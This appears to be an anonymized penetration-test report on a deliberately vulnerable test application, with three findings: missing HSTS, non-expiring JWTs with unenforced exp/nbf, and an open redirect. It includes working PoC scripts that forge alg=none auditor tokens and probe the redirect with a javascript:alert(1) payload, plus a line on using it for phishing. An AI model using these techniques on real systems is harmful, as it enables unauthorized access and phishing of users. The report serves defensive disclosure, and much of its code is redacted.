XXXXXX target app	XXXXXX (incl. XXXXXX, XXXXXX)	200, no HSTS
Adjacent XXXXXX app (same origin)	XXXXXX	200, no HSTS
Main public site	XXXXXX	200, no HSTS
Main-site static assets	XXXXXX	200, no HSTS

- Affected parameter: none (response-header control, applies host-wide once absent).
- Other headers present on XXXXXX (`Cache-Control: private, no-store`, `Referrer-Policy`, `X-Content-Type-Options: nosniff`, `X-Robots-Tag`, full CSP, hardened `Set-Cookie`) show this is an omissive gap, not an unconfigured server. The main site additionally lacks CSP/`X-Frame-Options` — that separate control gap is covered by findings 685/686, not here.
- Not affected in scope of *this* finding: none — the absence is uniform across all same-origin surfaces.

Reproduction steps

1. From any network position, request each surface and dump response headers: `curl -sS -D support_headers.txt -o support_body.html \ 'XXXXXX' curl -sS -D main_headers.txt -o main_index.html 'XXXXXX' curl -sS -D XXXXXX_headers.txt -o XXXXXX_index.html \ 'XXXXXX' curl -sS -D script_js_headers.txt -o script_js.js 'XXXXXX'`
2. Check for the header across all captures: `grep -il 'strict-transport' support_headers.txt main_headers.txt XXXXXX_headers.txt script_js_headers.txt`
3. Expected (observed XXXXXX): no output — zero `Strict-Transport-Security` headers on any response.
4. Cross-check HTTPS enforcement (the compensating control that bounds severity): `curl -sI XXXXXX` redirects to HTTPS, and only TLS 1.2/1.3 are negotiated (baseline fact 661).

Evidence

XXXXXX `GET XXXXXX` — full captured response headers (XXXXXX GMT, `support_headers.txt`):

TECHNICAL EVIDENCE

```
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 05 Nov 2026 15:58:25 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: private, no-store
Referrer-Policy: no-referrer
Set-Cookie: XXXXXX; Path=XXXXXX; Max-Age=86400; HttpOnly; Secure; SameSite=None
X-Content-Type-Options: nosniff
X-Robots-Tag: noindex, nofollow, noarchive, nosnippet
Content-Security-Policy: sandbox allow-scripts allow-forms allow-modals allow-downloads; default-src 'none';
script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data:; connect-src 'none'; frame-src 'none';
object-src 'none'; base-uri 'none'; frame-ancestors 'none'; form-action XXXXXX
```

Four-surface verification (step 18202/18203, intent 671, workdir XXXXXX):

TECHNICAL EVIDENCE

```
=== HSTS check (all 4 headers files) ===
NO Strict-Transport-Security on any captured response
```

Note: no HTTP request/response traffic is bound to this finding (traffic bindings empty) — the evidence is curl-based header inspection of ordinary GET requests, and no exploit traffic exists to capture; the header captures above are the proof.

PoC

The reproduction steps are the PoC (header inspection is the complete verification). For a one-shot re-check:

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# HSTS presence check across all XXXXXX surfaces
base="XXXXXX"
ks="$base/XXXXXX-XXXXXX"
at="$base/XXXXXX-XXXXXX"
tmp=$(mktemp -d)
curl -sS -D "$tmp/XXXXXX" -o XXXXXX "$ks/support"
curl -sS -D "$tmp/XXXXXX"    -o XXXXXX "$base/"
curl -sS -D "$tmp/XXXXXX" -o XXXXXX "$at/"
curl -sS -D "$tmp/XXXXXX"  -o XXXXXX "$base/XXXXXX"
if grep -qi 'strict-transport' "$tmp"XXXXXX; then
  echo "HSTS present on at least one surface"
else
  echo "VULNERABLE: no Strict-Transport-Security on any of the 4 captured responses"
fi
```

Run: `bash hsts_check.sh` — current expected output is the VULNERABLE line.

Root cause analysis

The nginx (and/or application) response configuration for the host simply does not define a `Strict-Transport-Security` header on any `server`XXXXXX`location` block — neither the reverse-proxied XXXXXX app (which does add CSP, cache, and referrer policy headers, proving an active header-adding layer exists), nor the XXXXXX app, nor the statically served main site. Additionally, the domain is not submitted to the HSTS preload list, so nothing compensates for the per-browser first-visit gap. The security-configuration baseline (fact 661) shows the TLS layer itself was deliberately hardened (TLS 1.2/1.3-only, forced redirect), making the missing HSTS header the one transport-layer defense not deployed.

Remediation

1. **Add HSTS at the nginx layer for the whole host** (single point of coverage for XXXXXX, XXXXXX, and the static site): `nginx add_header Strict-Transport-Security "max-age=31536000" always;` Apply `always` so it is emitted on all response codes, not just 2xx.
2. **Roll out in stages**: start with a short `max-age` (e.g. 300–86400) to validate no dependency on plain-HTTP subresources exists, then raise to `max-age=31536000`.
3. **Evaluate** `includeSubDomains` **before enabling**: it applies host-wide to all subdomains of `XXXXXX`; only add it (and consider preload submission) after confirming every subdomain serves valid HTTPS, since a non-HTTPS subdomain would become unreachable for up to the max-age period for returning visitors.
4. **Consider HSTS preload** (`preload` directive + submission to XXXXXX) once `max-age ≥ 31536000` and `includeSubDomains` are safe — this also closes the first-visit gap, which header-only HSTS cannot.
5. **Keep the compensating controls** that bound the current risk: TLS 1.2/1.3-only, forced `http→https` redirect, and `Secure`XXXXXX`HttpOnly`XXXXXX`SameSite=None` cookie flags — and audit that any future cookie is set `Secure` so the plant-cookie-over-HTTP vector stays closed.
6. **Verify** with: `curl -sI XXXXXX | grep -i strict-transport` (and repeat for XXXXXX/XXXXXX/XXXXXX), plus a browser check that `chrome://net-internals/#hsts` shows a cached policy after one visit.

Finding provenance XXXXXX dedup

Registered by work#3 (intent 671) on XXXXXX as exploration node 684 (standalone record 117). Prior baseline **fact 661** (intent 639) had already noted "no HSTS anywhere" in its configuration baseline; this finding formalizes that observation with fresh per-surface header captures (4 responses, 3 surfaces + 1 static asset). It is distinct from same-intent findings 685 (XXXXXX/XXXXXX CSP `script-src 'unsafe-inline'` — different control, browser-validated) and 686 (main-site missing CSP/frame-ancestors/clickjacking protection — different control, browser-validated); no duplicate HSTS finding exists. Traffic binding: none (curl header inspection, `evidence_status: not_bound`).

TECHNICAL FINDING / F-009

LOW

Analytics JWTs are non-expiring and temporal claims (exp/nbf) are not enforced when present

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#9	Pending	XXXXXX

Analytics export tokens never expire and temporal claims (exp/nbf) are ignored when present

Overview

The XXXXXX app's analytics API (`XXXXXX` → `XXXXXX`) has two independently observable token-lifecycle defects: (1) the anonymously issued JWT contains **no temporal claims at all** — payload is exactly `{role, run, scope, sub}`, with no `iat`, `exp`, or `nbf` — so every issued token is valid forever by construction; and (2) the export verifier **ignores temporal claims when an attacker adds them** — an `alg=none` auditor token carrying `exp=1000000000` (2001-09-09, long expired at test time, server "now" epoch 1793894573 ≈ XXXXXX) was accepted with `200` + receipt `PROOF{XXXXXX}`, and one carrying `nbf=4102444800` (2100-01-01, far in the future) was likewise accepted. The export privilege therefore has **no time bound of any kind — neither at issuance nor at verification** (CWE-613; OWASP API2/A07).

Dedup note: this is distinct from finding 101 (exploration node 644), which is the `alg=none` algorithm-trust/signature-verification bypass (high). That bypass was deliberately **not re-tested** here; the reader→auditor claim pivot used in this probe campaign merely re-uses finding 101's already-confirmed result as the vehicle to reach the export endpoint, and this finding's root cause is claim enforcement XXXXXX token lifecycle, not algorithm-header trust.

Impact

Severity: low (as registered). The temporal gap by itself grants no new privilege: role, scope, and the `run` binding are still enforced (all reader-claim probes returned 403, and the exported content is unchanged from the legitimate baseline). What it removes is the standard time-based containment on an export capability that finding 101 already showed is forgeable:

- Any issued or forged analytics token is **eternal** — there is no expiry to wait out, and no time window that limits replay of the export privilege. A leaked, logged, or stolen export token remains valid indefinitely.
- Token-rotation and "expire the credential" incident-response playbooks are impossible: changing/revoking nothing short of the server-side `run` binding (the sole remaining lifecycle control, and one the client cannot influence) retires a token.
- Attackers gain unlimited time to replay an export capability at leisure, and `nbf` gives no scheduling control either — not-yet-valid tokens are accepted immediately.

Combined with finding 101 (attacker-minted auditor token), the net effect is a permanent, attacker-controlled export credential. Severity is capped at low because the exported resource observed is a synthetic analytics fixture ("Internal analytics fixture") and the access primitive itself is tracked under finding 101.

Measured impact

Executed **live** against the target (bounded probe set, no brute force; the registered evidence records 6 bounded export calls for attempt `XXXXXX`):

Probe	Result
Temporal claims in issued token	**0 of 3** present — decode loop for `iat`XXXXXX`exp`XXXXXX`nbf` printed nothing (non-expiring by construction)
`exp=1000000000` (expired ~25 years at test time) added to auditor token	**1 of 1** accepted → `200`, receipt `PROOF{XXXXXX}`
`nbf=4102444800` (~73 years in the future) added to auditor token	**1 of 1** accepted → `200`, same receipt
Header `kid="XXXXXX"`, `typ="JWS"` on `alg=none` token	**1 of 1** accepted → `200` (header values tolerated and ignored, no validation error)
Negative control — kid-based key-confusion forgery (HS256 + `kid="XXXXXX"` + empty-key HMAC)	**0 of 1** succeeded → `403` (HS256 signatures are genuinely verified; `kid` does not influence key resolution)
Negative control — reader-claim round (`B0_original`, `P1_exp_past`, `P2_nbf_future`, `P3_kid_typ`)	**4 of 4** → `403` (role/scope still enforced; the 200s above are claim-conditional, not blanket permissiveness)

Defense status: nothing blocked the expired/not-yet-valid tokens — no time comparison against server time occurs anywhere in the export path. Proof basis: all results are from live HTTP calls recorded in the work trace (intent 672), not lab or static analysis.

Affected scope

- `GET XXXXXX` — issues HS256 JWTs with **no** `iat`XXXXXX`exp`XXXXXX`nbf` (registered asset 1552/1556 pair with the export endpoint).
- `GET XXXXXX<JWT>` — verifier enforces `role`XXXXXX`scope`XXXXXX`run` but never checks `exp`XXXXXX`nbf` against server time, and does not require them.
- JWT header values (`kid`, `typ`) are accepted-and-ignored (tolerated, no crash, no key-resolution influence).
- **Verified-sane surfaces (negative controls):** HS256 signature verification is genuine; `kid` is not used for key resolution (empty-key HMAC forgery rejected); role/scope/run enforcement works.

Reproduction steps

All against `BASE=XXXXXX` (anonymous — no credentials needed; keep the auto-issued session cookie):

1. **Issue a token and observe the missing claims:** `curl -s -b XXXXXX "$BASE/api/analytics/token"` → 200. Split the `token` field on `.` and base64url-decode header/payload. Header

`{"alg":"HS256","typ":"JWT"}`; payload `{"role":"reader","run":"<run>","scope":"reports:read","sub":"alex"}` — note there is **no** `exp`, `iat`, or `nbf`.

2. **Baseline (optional, scope check):** call the export with the issued reader token → `403` `{"message":"This token cannot export analytics.","ok":false}` (`export_role: auditor`, `export_scope: reports:export` required).
3. **Craft the probe tokens** (helper `b64u(o)` = base64url of compact JSON, no padding), pivoting role/scope per finding 101's confirmed `alg=none` acceptance and keeping the `run` binding from step 1:
4. Control: `b64u({"alg":"none"}) + "." + b64u({"role":"auditor","run":<run>,"scope":"reports:export","sub":"alex"}) + "."`
5. Expired: same payload **+** `"exp":1000000000`
6. Not-yet-valid: same payload **+** `"nbf":4102444800`
7. **Call the export** with each: `curl -s -b XXXXXX "$BASE/api/analytics/export?token=<urlencoded-token>"`. Control, expired, and not-yet-valid variants all return `200` with `{"receipt":"PROOF{...}","report":"Internal analytics fixture"}`.
8. **Negative control (confirms signatures are really verified):** build `HS256` token with header `{"alg":"HS256","kid":"XXXXXX"}` over the auditor payload and an HMAC-SHA256 signature computed with an **empty key** → export returns `403` (no kid→key confusion).

The Python script below automates steps 1–5.

Evidence

A — Token issuance & decode (live, attempt XXXXXX):

TECHNICAL EVIDENCE

```
== GET XXXXXX =XXXXXX
code=200
{
  "export_endpoint": "XXXXXX",
  "export_role": "auditor",
  "export_scope": "reports:export",
  "token": XXXXXX
}
HEADER:  {"alg": "HS256", "typ": "JWT"}
PAYLOAD: {"role": "reader", "run": "XXXXXX", "scope": "reports:read", "sub": "alex"}
now epoch: 1793894573
```

The decode loop explicitly tested `iat`XXXXXX`exp`XXXXXX`nbf` and printed nothing — none of the three claims exists.

B — Reader-claim round (all 403: role/scope enforcement intact):

TECHNICAL EVIDENCE

```
B0_original    code=403 {'message': 'This token cannot export analytics.', 'ok': False}
P1_exp_past    code=403 {'message': 'This token cannot export analytics.', 'ok': False}
P2_nbf_future  code=403 {'message': 'This token cannot export analytics.', 'ok': False}
P3_kid_typ     code=403 {'message': 'This token cannot export analytics.', 'ok': False}
```

C — Auditor-claim round with temporal claims added (all 200, temporal claims ignored):

TECHNICAL EVIDENCE

```
B1_auditor_none  code=200 {'receipt': 'PROOF{XXXXXX}', 'report': 'Internal analytics fixture'}
P4_exp_past      code=200 {'receipt': 'PROOF{XXXXXX}', 'report': 'Internal analytics fixture'}
P5_nbf_future    code=200 {'receipt': 'PROOF{XXXXXX}', 'report': 'Internal analytics fixture'}
P6_kid_typ       code=200 {'receipt': 'PROOF{XXXXXX}', 'report': 'Internal analytics fixture'}
```

`P4_exp_past` is the same token as control `B1` plus `"exp":1000000000` (2001-09-09 — expired at the recorded test-time epoch 1793894573); `P5_nbf_future` adds `"nbf":4102444800` (2100-01-01). Both produced the identical receipt — acceptance is unconditional on temporal claims.

D — Negative control, kid/empty-key HS256 forgery (rejected):

TECHNICAL EVIDENCE

```
P7_kid_devnull_emptykey_HMAC code=403 {"message": "This token cannot export analytics.", "ok": false}
```

Traffic binding note: no HTTP bindings are attached to this finding (`bindings: []`, version 0 — automatic traffic binding was disabled for this run). All evidence above is genuine command output from live `curl` sessions preserved in the work trace of intent 672 and the finding's evidence record; nothing was reconstructed or padded with synthetic captures.

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX python3
"""PoC — XXXXXX analytics JWTs: non-expiring tokens + unenforced exp/nbf.
Anonymous; run:  python3 poc_jwt_temporal.py"""
import base64, json, hmac, hashlib, XXXXXX, XXXXXX, XXXXXX, XXXXXX

BASE = ("XXXXXX"
        "XXXXXX")

cj = XXXXXX()
op = XXXXXX.build_opener(XXXXXX(cj))
b64u = lambda o: base64.urlsafe_b64encode(XXXXXX(o, separators=(",", ":")).encode()).rstrip(b"=").decode()
pad = lambda s: s + "=" * (-len(s) % 4)

def export(token):
    url = f"{BASE}XXXXXX, safe='')}"
    try:
        r = XXXXXX(url); return XXXXXX, XXXXXX().decode()[:120]
    except XXXXXX as e:
        return XXXXXX, XXXXXX().decode()[:120]

# 1) anonymously issue the reader token; show it carries NO temporal claims
tok = XXXXXX(XXXXXX(BASE + "XXXXXX"))["token"]
h, p, _ = XXXXXX(".")
claims = XXXXXX(base64.urlsafe_b64decode(pad(p)))
print("issued claims:", claims, "| has exp/iat/nbf:",
      [k for k in ("exp", "iat", "nbf") if k in claims] or "NONE")
run = claims["run"]

# 2) pivot to auditor claims (re-uses finding 101's confirmed alg=none acceptance) + temporal claims
aud = {"role": "auditor", "run": run, "scope": "reports:export", "sub": claims["sub"]}
none_hdr = b64u({"alg": "none"})
```

TECHNICAL EVIDENCE / CONTINUED

```
probes = {
    "B1_control_auditor": f"{none_hdr}.{b64u(aud)}.",
    "P4_exp_EXPIRED_2001": f"{none_hdr}.{b64u({**aud, 'exp': 1000000000})}.",   # 2001-09-09
    "P5_nbf_FUTURE_2100":  f"{none_hdr}.{b64u({**aud, 'nbf': 4102444800})}.",   # 2100-01-01
}
# 3) negative control: HS256 + kid=XXXXXX + empty-key HMAC (kid key-confusion attempt)
h7, hp7 = b64u({"alg": "HS256", "kid": "XXXXXX", "typ": "JWT"}), None
hp7 = f"{h7}.{b64u(aud)}"
sig7 = base64.urlsafe_b64encode(XXXXXX(b"", XXXXXX(), hashlib.sha256).digest()).rstrip(b"=").decode()
probes["P7_HS256_emptykey_NEGCTRL"] = f"{hp7}.{sig7}"

for name, t in XXXXXX():
    code, body = export(t)
    print(f"{name:28s} -> {code} {body}")
```

Expected output: `B1`, `P4` (26-year-old expiry), and `P5` (year-2100 nbf) all return `200` with the export receipt; `P7` returns `403`. The reproduction steps above are the PoC if you prefer curl.

Root cause analysis

Two independent implementation gaps in the analytics token system:

1. **Issuance (`XXXXXX`):** the token is minted from a fixed claim dict `{role, run, scope, sub}` — no `iat`, no `exp`, no default TTL is applied. Every token leaves the server with an unbounded lifetime.
2. **Verification (`XXXXXX`):** the handler validates only the specific claim keys it cares about (`role`, `scope`, `run`) and never compares `exp`XXXXXX`nbf` against server time — nor does it require `exp` to be present. Consequently, temporal claims are dead weight on attacker-supplied tokens, and legitimate tokens can never lapse. This is the classic hand-rolled JWT decode that reads selected fields instead of running a full verification pass (library `verify_exp`XXXXXX`verify_nbf`XXXXXX`require` options).

A secondary observation: header fields `kid`XXXXXX`typ` are accepted-and-ignored (tolerated without validation error), which is benign here because `kid` demonstrably does not participate in key resolution (empty-key HMAC forgery rejected, P7 → 403).

Remediation

1. **Issue bounded tokens:** add `iat` and a short `exp` to every analytics token at issuance (an export token needs minutes, not months — e.g. 15–60 min TTL). Optionally add `jti` for auditability.
2. **Enforce temporal claims at verification:** require `exp` and verify it against server time; verify `nbf` when present. With PyJWT: `XXXXXX(token, key, algorithms=["HS256"], require=["exp"], options={"verify_exp": True, "verify_nbf": True})`. "No exp" must never mean "valid forever".
3. **Regression tests:** expired token → 403; future-`nbf` token → 403; token without `exp` → 403; valid in-window token → 200.
4. **Independent of the finding 101 fix:** allow-listing `alg` (the signature-path fix for finding 101) does **not** close this gap — today's legitimately issued HS256 tokens also never expire. Implement temporal enforcement as its own check so fixing one defect cannot leave the other open.
5. **Defense in depth:** if longer-lived tokens ever become necessary, add server-side revocation (jti deny-list) and keep the `run` binding as an additional scoping control — it is currently the *only* lifecycle control on these tokens.

TECHNICAL FINDING / F-015

LOW

Unvalidated open redirect XXXXXX arbitrary Location echo in XXXXXX XXXXXX (adjacent same-origin XXXXXX app)

FINDING RECORD	TRIAGE STATUS	EVIDENCE REFERENCE
#15	Pending	XXXXXX

Unvalidated open redirect XXXXXX arbitrary Location echo in XXXXXX XXXXXX

> **Scope label (ADJACENT-SURFACE):** this finding is on the **XXXXXX app** (XXXXXX), a same-origin sibling of the XXXXXX assessment target on XXXXXX. It is reported separately and explicitly labeled; it is not a defect of the XXXXXX app itself.

Overview

The XXXXXX app's redirector endpoint `GET XXXXXX` copies the `next` query parameter **verbatim** into the HTTP 302 `Location` header with **zero validation** — any scheme (including `javascript:`), any host (including arbitrary attacker-controlled and synthetic hosts), protocol-relative URLs, userinfo tricks, and relative paths are all accepted — turning a legitimate in-app partner-link feature into an open redirect usable for phishing under the trusted XXXXXX domain.

Impact

- **Open-redirect phishing**: an attacker can craft links such as XXXXXX that originate from the trusted domain and land victims on an arbitrary site — a credential-harvesting or malware landing page made convincing because the first hop is the real XXXXXX domain. The XXXXXX page of the XXXXXX app natively links XXXXXX, so users of this app are the natural targets.
- **Deceptive-URL variant**: because user info is also echoed, `next=XXXXXX` produces a redirect whose rendered URL *contains* XXXXXX` while the actual destination host is the attacker's — useful for lookalike lures.
- `javascript:`**-scheme echo (secondary weakness)**: the redirector emits `Location: javascript:alert(1)`. If a browser navigates such a Location, this is script execution in the app's origin. **This execution was not demonstrated** (no browser available in the assessment runtime); only the header echo is proven. Treat as a plausible XSS-adjacent weakness pending browser validation.
- **Severity: Low** — appropriate because: the endpoint is unauthenticated and the abuse requires the victim to click an attacker-supplied link; no session data, token, or OAuth-style callback flow is attached to `next` (the app's session cookie XXXXXX is *set* on the response, not leaked through it); responses carry `Cache-Control: private, no-store`, excluding cached-redirect poisoning; and the javascript:-scheme execution is unverified. The core defect (unvalidated redirect) is nonetheless fully confirmed live.

Measured impact

- **8 of 8 crafted `next` values** were echoed verbatim into the 302 `Location` header (executed live against the target, 302 responses captured directly; **no navigation was followed and no third-party destination was contacted** — the arbitrary-host claim was sealed with the synthetic, non-resolving marker host `XXXXXX`):
- `XXXXXX` (legitimate default) → echoed
- `XXXXXX` (scheme downgrade) → echoed
- `XXXXXX` (protocol-relative) → echoed
- `XXXXXX` (different subdomain/host) → echoed
- `XXXXXX` (relative) → echoed
- `XXXXXX` (synthetic non-resolving host) → echoed
- `XXXXXX` (userinfo deception) → echoed
- `javascript:alert(1)` (script scheme) → echoed
- **What the intended defense looks like (contrast, same origin, same app family)**: XXXXXX's `XXXXXX` **rejected 6 of 8** structurally identical variants with `400 Bad Request` (http downgrade, protocol-relative, subdomain `XXXXXX`, userinfo, even same-origin absolute URL, and bare relative path), accepting only the pinned host `XXXXXX` (plus a `:8443` port variant — a minor gap in *that* endpoint, noted under Remediation hardening). This proves a host-pinned allowlist is the intended control in this codebase and that `XXXXXX` simply lacks it.
- Proof basis: **executed live** — all 302/400 responses captured directly via curl during the assessment (worker-trace steps 17731 and 17741 of intent 639). Impact that was *not* measured: actual browser navigation to `Location: javascript:alert(1)` (no browser in runtime), and real-world click-through rates (out of scope for a technical PoC).

Affected scope

- **Asset**: `XXXXXX` — XXXXXX app (adjacent same-origin surface).
- **Endpoint XXXXXX parameter**: `GET XXXXXX` — parameter `next` (fully attacker-controlled when the link is crafted; default value `XXXXXX` when linked from the app's own `XXXXXX` page).
- **Auth**: none required (unauthenticated GET).
- **Not affected**: XXXXXX `XXXXXX` (allowlisted, returns 400 for non-pinned hosts) and XXXXXX `XXXXXX` (pinned to its single default URL `XXXXXX`), both verified in the same work item.

Reproduction steps

All steps are plain unauthenticated `curl` requests (HTTPie/browser equivalent works too). Each prints the status code and the `Location` header.

1. **Baseline (legitimate use)** — the app's own default: `curl -sS -D - -o XXXXXX 'XXXXXX'` → `HTTP/1.1 302 Found`, `Location: XXXXXX`
2. **Arbitrary external host** (synthetic non-resolving marker, no third party is contacted): `curl -sS -D - -o XXXXXX 'XXXXXX'` → `302`, `Location: XXXXXX`
3. **Protocol-relative URL**: `.XXXXXX → 302, Location: XXXXXX`
4. **Scheme downgrade to HTTP**: `.XXXXXX → 302, Location: XXXXXX`

5. **Different subdomain XXXXXX foreign host**: `.XXXXXX → 302, Location: XXXXXX`
6. **Deceptive userinfo** (destination host hides behind a lookalike string): `.XXXXXX → 302, Location: XXXXXX`
7. `javascript:` **scheme**: `.XXXXXX) → 302, Location: javascript:alert(1)`
8. **Contrast with the intended control (XXXXXX, same origin)** — each of these returns `400 Bad Request`: `XXXXXX .XXXXXX .XXXXXX .XXXXXX .XXXXXX` Only `next=XXXXXX` (and the `:8443` port variant) returns `302`.

Evidence

Raw captured responses (worker-trace step 17741, intent 639; `curl -D - -o XXXXXX`, headers only):

TECHNICAL EVIDENCE

```
== .XXXXXX
HTTP/1.1 302 Found
Location: XXXXXX

== .XXXXXX
HTTP/1.1 302 Found
Location: XXXXXX

== .XXXXXX)
HTTP/1.1 302 Found
Location: javascript:alert(1)
```

Same-endpoint matrix from step 17731 (all `HTTP/1.1 302 Found`, `Cache-Control: private, no-store`, `Set-Cookie: XXXXXX; Secure; HttpOnly; SameSite=None`): `Location: XXXXXX` · `Location: XXXXXX` · `Location: XXXXXX` · `Location: XXXXXX` · and the safe no-param default `Location: XXXXXX`.

XXXXXX contrast (step 17731, same work): `XXXXXX` → `302 Location: XXXXXX`; every other tested shape → `HTTP/1.1 400 Bad Request` (XXXXXX XXXXXX, subdomain, userinfo, same-origin absolute, relative `XXXXXX`).

Discovery context (intent 636 ledger): the XXXXXX `XXXXXX` page ships a native link `XXXXXX`, confirming `XXXXXX` is a real user-facing redirector, not a dormant route.

Traffic binding note: no HTTP traffic was bound to this finding record (binding list empty, version 0 at report time; automatic agent traffic binding was off for this run). The evidence above comes from curl header captures stored in the intent-639 worker trace (steps 17731/17741); all quoted requests/responses are exactly as executed — nothing was reconstructed or padded, and no navigation was followed during testing.

PoC

TECHNICAL EVIDENCE

```
#!XXXXXX bash
# Open-redirect PoC — XXXXXX XXXXXX (unauthenticated, GET only).
# Uses a synthetic .invalid marker host: nothing is navigated, no third party contacted.
AT='XXXXXX'

probe() {
  echo "== $1"
  curl -sS --max-time 15 -o XXXXXX -D - -w 'code=%{http_code}\n' "$1" 2>&1 | grep -iE
'^(HTTP|Location|code=)'
```

TECHNICAL EVIDENCE / CONTINUED

```
  echo
}

probe "$AT/go?next=XXXXXX"                 # baseline (app default)
probe "$AT/go?next=XXXXXX"                          # scheme downgrade
probe "$AT/go?next=XXXXXX"                               # protocol-relative
probe "$AT/go?next=XXXXXX"                      # foreign subdomain
probe "$AT/go?next=XXXXXX"                 # arbitrary host (synthetic)
probe "$AT/go?next=XXXXXX"  # userinfo deception
probe "$AT/go?next=javascript:alert(1)"                       # script scheme
```

Run: save as `poc_go_open_redirect.sh`, `chmod +x`, execute — every line returns `HTTP/1.1 302 Found` with the attacker-chosen value echoed in `Location`. For a phishing payload, send a victim the URL from probe 5/6/7; the browser follows the 302 to the attacker host. (The reproduction steps above are the PoC; no further exploit tooling is required.)

Root cause analysis

The `XXXXXX` handler reads the `next` query parameter and assigns it directly to the 302 `Location` header without any URL parsing, scheme check, or host allowlist — a classic CWE-601 "URL redirection to untrusted site" pattern caused by **missing output validation on a redirect target**. Evidence that this is an omission rather than a design choice: the sibling XXXXXX app on the same origin implements the intended control in `XXXXXX` — parse, pin the host to `XXXXXX`, reject everything else (including same-origin and relative values) with `400` — so a correct validator exists in the same codebase family but was simply not applied to `XXXXXX`.

Remediation

1. **Port the XXXXXX `XXXXXX` allowlist to `XXXXXX`** (primary fix): parse `next` with a real URL parser; accept only absolute `https://` URLs whose normalized host is on an explicit allowlist (the intended partner host, e.g. `XXXXXX`); return `400 Bad Request` otherwise — mirroring the behavior already proven in `XXXXXX`.
2. **Reject every non-`http(s)` scheme** — `javascript:`, `data:`, `vbscript:`, and scheme-relative forms must never reach `Location`. This closes the (unverified but plausible) script-URL navigation path.
3. **Normalize before comparing**: lowercase the host, strip/reject userinfo (`user@`), pin the port (XXXXXX's `XXXXXX` currently accepts `:8443` — pin the port there too while unifying the code), and reject protocol-relative (`XXXXXX`) and bare-relative values unless a deliberate same-origin-relative mode is wanted (in which case require a single leading `XXXXXX` and reject a second).
4. **Defense in depth**: consider rendering a short interstitial "you are leaving ..." page for external destinations instead of an immediate 302.
5. **Regression tests**: port the exact 8-variant matrix used in this assessment (https baseline, http downgrade, `XXXXXX`, subdomain, relative, synthetic host, userinfo, `javascript:`) into automated tests for **both** `XXXXXX` and `XXXXXX`, so the two redirectors cannot drift apart again.

Assessment context: unauthenticated mode, task #13; evidence gathered live on XXXXXX by work item 639 (steps 17731/17741), route discovery by work item 636. Adjacent same-origin surface — XXXXXX app, not the XXXXXX target app. Finding record 110 XXXXXX exploration node 665; no duplicate open-redirect finding exists in this task.

SUPPORTING CONTEXT

A / Assessment notes

Full assessment narrative

Anonymized public sample. This is the output of a real RiskRift assessment of a deliberately vulnerable test application operated by RiskRift, not a customer website. URLs, hostnames, IP addresses, email addresses, application names and identifying references have been replaced with XXXXXX. Finding severities and review statuses are retained. These findings await triage; they are not independently confirmed vulnerabilities. Original private reports are unchanged.

An unauthenticated, anonymous-only security assessment of the XXXXXX application at XXXXXX completed with native status done and all eight assessment goals recorded as met. The client imposed no path restrictions, so the whole origin was in scope; discovery identified three distinct same-origin applications that were inventoried and reported separately: the XXXXXX target application, an adjacent French-language training application (XXXXXX, labeled ADJACENT-SURFACE and never counted into XXXXXX totals), and the main public lead-capture site. The authoritative finding record counts are 27 records: 8 high, 15 medium and 4 low severity, every record carrying status pending, which means the findings are unreviewed pending triage rather than confirmed through that process. After root-cause deduplication the 27 records correspond to 26 distinct issues: records 103 and 109 describe the same bundle-endpoint cross-workspace document-disclosure flaw and are merged in the final report, while same-class XXXXXX/XXXXXX pairs (SQL injection, stored HTML injection, client-controlled price, preference-driven privilege change, invoice IDOR, JWT weaknesses) remain distinct because they affect different applications, endpoints and code paths. Denominators: 16 records (15 distinct issues) on the XXXXXX target app, 8 on the XXXXXX adjacent surface, 1 on the main public site and 2 shared/multi-surface records. Evidence tiers per the final report: 22 findings are demonstrated impacts with the exploit or security effect executed and observed; 4 records (116, 117, 118, 119) are verified missing-or-weak controls whose exploit was not demonstrated; and 9 unverified hypotheses remain open with explicitly stated missing prerequisites. Observations discussed without standalone finding IDs (for example weak main-site anti-automation controls and numerous verified-positive controls) are not counted as additional finding records. Most significant verified results on the XXXXXX target app: two distinct SQL injection entry points with full SQLite readback (direct injection in GET XXXXXX and a second-order injection where a stored report-view filter is interpolated into SQL at export); a JWT alg=none signature bypass on XXXXXX compounded by non-enforced temporal claims, making a forged auditor token effectively non-expiring; authorization driven by client-controllable fields (an audit_access preference flips the auditor-only XXXXXX from 403 to 200, and GraphQL exposes finance-restricted payout data the equivalent REST endpoint denies); workflow-integrity breaks (an 80 EUR purchase dispatched above the application's own 20 EUR approval threshold with no approval recorded and approval thereafter unavailable; a single-use voucher redeemed twice via fresh request keys; the MFA verify step skippable so the protected vault is reachable without the second factor; a hardcoded suggested recovery password accepted unchanged; a client-supplied checkout price honored end-to-end); object-level breaks (cross-workspace invoice detail read and cross-workspace restricted document extraction through bundle assembly); and stored HTML injection in review messages that executed in a real browser (headless Chromium 156) because the CSP permits script-src unsafe-inline. On the adjacent XXXXXX surface, high-severity findings include an unauthenticated path-traversal arbitrary file read via GET XXXXXX, an XXE external-entity file read via POST XXXXXX, and SQL injection with database-wide extraction, plus medium-severity privilege, price, stored-injection and IDOR issues and a low-severity open redirect. The main public site contributes one verified missing control: frameable pages with no CSP, frame-ancestors or X-Frame-Options and a token-less lead form, with the cross-site clickjacking exploit itself not executed. No

claim of compromise, data destruction or real-world impact is made: the XXXXXX and XXXXXX applications serve synthetic data only and main-site exposure is bounded to lead-capture data. Overall, the XXXXXX anonymous attack surface is fully functional and shows systemic weaknesses in injection handling, token validation, client-trusted authorization inputs and workflow precondition enforcement; negative results in tested categories do not by themselves establish that the application is secure, and all severities remain subject to triage.

Coverage & limitations

